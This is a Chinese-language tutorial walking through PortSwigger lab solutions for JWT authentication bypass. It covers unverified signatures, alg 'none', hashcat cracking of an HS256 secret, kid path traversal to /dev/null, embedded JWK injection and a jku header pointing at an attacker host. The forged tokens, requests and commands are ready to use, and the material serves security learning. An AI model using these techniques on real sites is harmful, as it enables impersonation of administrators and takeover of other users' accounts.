JWT Attack

JWT攻擊是為了饒過網站身份驗證,攻擊者會向網站發送修改後的JWT,目標是冒充另一個身份的使用者。如果攻擊者能夠使用任意值創建自己的JWT有效令牌,他們能夠升級自己的權限或冒充其他用戶,完全控制他們的帳戶。

JWT常見攻擊手法有以下幾種:

  • 簽名未驗證
  • JWT無簽名
  • 爆力破解對稱式加密簽名
  • 用kid饒過對稱式加密簽名
  • 用JWK饒過非對稱式加密簽名
  • 用JKU饒過非對稱式加密簽名

ps:
關於JWT的介紹可參考以下

JWT

簽名未驗證

網站沒有驗證JWT簽名,攻擊者可以對JWT內容任意更改

舉例如下,當存取admin頁面時,返回只有administrator帳戶才能使用

################ request ################ 
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...

################ response ################ 
...omit... only allow administrator ...omit...

使用JWT editor可以發現,token中的eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0等於以下

{
    "iss": "portswigger",
    "sub": "wiener",
    "exp": 1656578414
}

透過JWT editor將上述內容改為administrator

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1656578414
}

此時token裡這部份會變成eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9

送出編輯token後的請求,可成功存取admin介面

################ request ################ 
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie: session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...

################ response ################ 
...omit...
<section>
<p>User deleted successfully!</p>
	<h1>Users</h1>
	<div>
	<span>wiener - </span>
	<a href="/admin/delete?username=wiener">Delete</a>
...omit...

Lab: JWT authentication bypass via unverified signature


JWT無簽名

網站接受沒有簽名的JWT,因此可以將alg改為none,一旦JWT沒有簽名機制,那就可以任意修改

舉例來說,想用administrator身份存取/my-account功能,所以一樣透過JWT editor將token修改為administor。但因為目標網站有指定alg,所以任何內容的修改都會和簽名不同,導致修改後的JWT無法使用

由於網站接受沒有簽名的JWT,因此只要把alg改成none即可把簽名取消,如下

############## header ##############
{
    "kid": "4d65bce9-4436-44cf-8475-a297719c5281",
    "alg": "none"
}

############## payload ##############
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1656580618
}

重製token後,可以發現少了簽名那段,將此請求送出即可用administrator身份訪問/my-account

GET /my-account HTTP/1.1
Host: 0ab7006c03314ce7c0c42f88006d0081.web-security-academy.net
Cookie: session=eyJraWQiOiI0ZDY1YmNlOS00NDM2LTQ0Y2YtODQ3NS1hMjk3NzE5YzUyODEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1ODA2MTh9.

Lab: JWT authentication bypass via flawed signature verification


爆力破解對稱式加密簽名

某些簽名算法,像是HS256(HMAC+SHA-256),可以使用任意字符串做為密鑰,因此可以透過爆力密碼破解得到密鑰,並使用密鑰重簽名

舉例如下,以下是訪問網站的JWT token,需要administrator身份才能訪問,而且使用HS256簽名

################ request ################
GET /admin HTTP/1.1
Host: 0aff00980379e949c0ec224a00f90071.web-security-academy.net
Cookie: session=eyJraWQiOiJkYjFiZWEzOS05MjQwLTRjYjItODQ0MS04NjZjMjIxZDFmODUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzYwNjgwNH0.faMYDNGlalEN2C5YD2NGaRejmOAIXj1GQ2priBVj3yE
...omit...

################ response ################ 
...omit...Admin interface only available if logged in as an administrator...omit...

所以直接改成adminstrator沒有用,還必須要得到簽名用的secret key,在重新根據修改內容重新簽名才行,步驟如下

step1,找出secret key

先準備一組密碼檔jwt.secrets.list,內容可以參考https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list

然後透過hastcat嘗試爆力破解目前token

hashcat -a 0 -m 16500 eyJraWQiOiJkYjFiZWEzOS05MjQwLTRjYjItODQ0MS04NjZjMjIxZDFmODUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzYwNjgwNH0.faMYDNGlalEN2C5YD2NGaRejmOAIXj1GQ2priBVj3yE jwt.secrets.list

破解後會發現secret key為secret1

step2,產生JWT key

JWT editor keys中選擇new symmetric key, 按下generate會產生以下內容

{
    "kty": "oct",
    "kid": "6e45657d-202e-4e74-a50d-0c8f785dc1cf",
    "k": "qzlgHvHrjWoqNS_9Jd_1EQ"
}

將剛剛的secret key使用base64編碼得到c2VjcmV0MQ==,然後貼上如下

{
    "kty": "oct",
    "kid": "6e45657d-202e-4e74-a50d-0c8f785dc1cf",
    "k": "c2VjcmV0MQ=="
}

step3. 對修改的內容重簽名

JWT editor將原本的token內容改為administrator如下

{
    "iss": "portswigger",
    "sub": "administrator", 
    "exp": 1657606804
}

接著在JWT editor中點選sign,然後選擇以下配置

  • signing key: you generated in the JWT editor keys
  • signing algorithm: HS256
  • header options: don’t modify header

就會根據token修改的內容,產生相對應的簽名,使用這全新token就可以用administrator身份訪問admin功能

Lab: JWT authentication bypass via weak signing key


用kid饒過對稱式加密簽名

開發人員可能使用kid參數來指向資料庫中的特定條目或是檔案名稱,如果此參數也容易受到目錄遍歷的攻擊,則攻擊者可能會強制伺服器使用其檔案系統中的任意檔案作為驗證金鑰。

舉例如下,目標網站為了驗證簽名,使用JWT header中的kid參數,從其檔案系統中取得相關金鑰,因此攻擊者可以透過kid自己簽名

step1.產生JWT key

JWT editor keys中選擇new symmetric key, 按下generate會產生以下內容 (不需要選擇key size因為它會自動更新)

然後將k的值換成base64編碼的null byte,也就是AA==,如下。接著按OK儲存

{
    "kty": "oct",
    "kid": "41fc55b2-df7b-4063-9e7e-7f986a9f5fd9",
    "k": "AA=="
}

step2.用null byte重新簽名

JWT editor將原本的token內容做修改

kid要指定到一個會回傳null byte的檔案,例如/dev/null。由於該網站存在directory traversal的漏洞,因此使用此路徑../../../../../../../dev/null得到null byte

sub改為administrator,如下

############## header ##############

{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}

############## payload ############## 

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1658303137
}

接著在JWT editor中點選sign,然後選擇剛剛建立symmetric key,確保Don't modify header選項被勾選後,就按下確認OK

此時這個token己經用null byte當做key重新簽名,使用這全新token就可以用administrator身份訪問網站

Lab: JWT authentication bypass via kid header path traversal


用JWK饒過非對稱式加密簽名

正常情況下,使用RSA簽名的網站只能用指定的公鑰來驗證JWT簽名,但是如果配置不對,可能可使用embeded JWK(JSON Web Key)。這表示用戶可以告訴網站在驗證簽名時要使用哪一個key,然後使用自己的任意key做簽名。換句話說,可以用自己的RSA私鑰做簽名,然後把匹配的RSA公鑰放入JWK header中。

舉例如下,目標網站使用RSA的方式做簽名,為了要改用自己的RSA私鑰簽名,步驟如下

step1.產生自己的RSA key pair

JWT Editor Keys選擇New RSA Key,按下Generate後會產生新的key pair, 按Ok後儲存這RSA key (不需要選擇key size因為它會自動更新)

step2.修改token內容

然後回到JWT editor中,將自己的token改為administrator如下

########### header ##############

{
    "kid": "cbb889d1-dc30-407a-b67d-1034114d1221",
    "alg": "RS256"
}

########### payload ##############

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1659080691
}

step3.用自己RSA key pair簽名

JWT editor下面按attack,並選擇Embedded JWK,然後選擇剛剛產生的RSA key並按下OK ,就會發現header部份有變化,例如以下

########### header ##############
{
    "kid": "477b1bbd-18ab-4774-b77c-989bf6037760",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "477b1bbd-18ab-4774-b77c-989bf6037760",
        "n": "jcep6jQV7CL_IUPGW1N4hZKjTmwTQc1V-o1zocuMliJ0NqPMzvmoglXPzraUbeiHUxOWM-JBRvTeuFOBQBi717vJD4Bf-5G248MDZXy8d94kRaFZzid9fLD2rDwJBFhNeFyulBIXpCpooTODNdXrs2eIlPwJL3f-TXOfy7uUftalRS4WPTUs-5NhhMqMBSr9LOyanpnScoNfi6wo2mzW-_K1ze45UHIBzb92kBnM0KOeMib027oRmcielyglL5yYbUrwabKqEvwm2EpI2fyPq9XwydkDABTnmrCtXf8oKpyQX_kYsWmGXa1SoSl-L7LRXqW64MNhAD4uBD7S4MZvGw"
    }
}

此時新的token就可以視為administrator訪問admin

lab:JWT authentication bypass via jwk header injection


用JKU饒過非對稱式加密簽名

JWT使用RSA簽名的網站,有時支持使用JKU(JWK Set URL) header 參數來引用密鑰的JWK set,當要驗證JWT簽名時就會指定的URL獲取相關key。但在獲取key之前,網站不會檢查這些URL是否屬於受信任的網址,因此攻擊者可以利用這個問題使用自己的任意key做簽名。步驟如下

step1.產生自己的RSA key pair

JWT Editor Keys選擇New RSA Key,按下Generate後會產生新的key pair, 按Ok後儲存這RSA key (不需要選擇key size因為它會自動更新)

step2.將公鑰貼到攻擊主機上

然後點選剛產生的key選擇Copy Public Key as JWK,接著貼到攻擊主機上( https://attackhost/exploit ),如下

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "492b828a-556c-4cdd-b1f3-513c2d7bf28c",
            "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw"
        }
    ]
}

step3.使用JKU重簽名

JWT editor將token的header做修改,kid要換成剛剛新建key的kid,jku要指定攻擊網址,如下,

{
	"kid": "492b828a-556c-4cdd-b1f3-513c2d7bf28c",
	"alg": "RS256",
	"jku": "https://attackhost/exploit"
}

在payload 的部份,把sub的內容改為administrator。

然後在下方按下sign,接著選擇剛剛產生的RSA key,確保Don't modify header選項被勾選後,就按下確認OK

此時該token就己重簽名完成,使用該token等同administrator身份訪問網站。

Lab: JWT authentication bypass via jku header injection